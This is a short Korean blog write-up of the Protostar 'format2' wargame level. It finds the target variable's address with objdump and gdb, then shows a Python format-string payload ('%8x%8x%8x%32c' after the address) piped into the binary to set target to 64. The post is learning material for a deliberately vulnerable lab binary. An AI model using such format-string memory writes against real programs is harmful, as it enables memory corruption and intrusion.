반응형
This level moves on from format1 and shows how specific values can be written in memory.
This level is at /opt/protostar/bin/format2
버퍼를 채우고 target이 64이 되도록 해야할 것 같다.
objdump -t ./format2 | grep target
일단 format1에서 풀었던 것처럼 target의 위치를 확인한다.
(검증은
gdb ./format2 |
disas vuln |
위의 두 차례로 확인 가능)
(python -c "print 'AAAA'+ '\xe4\x96\x04\x08' + '%8x%8x%8x%32c'") | ./format2
target의 위치를 넣고 위의 명령어를 실행한다.
4+4+8x3 +32=8+24+32=64로 타겟을 수정하면 된다.
반응형
'system' 카테고리의 다른 글
[protostar]format4 (0) | 2020.11.05 |
---|---|
[protostar]format3 (0) | 2020.11.05 |
[protostar]Format1 (0) | 2020.11.03 |
[protostar]format0 (0) | 2020.11.02 |
[protostar]stack6.c (0) | 2020.11.02 |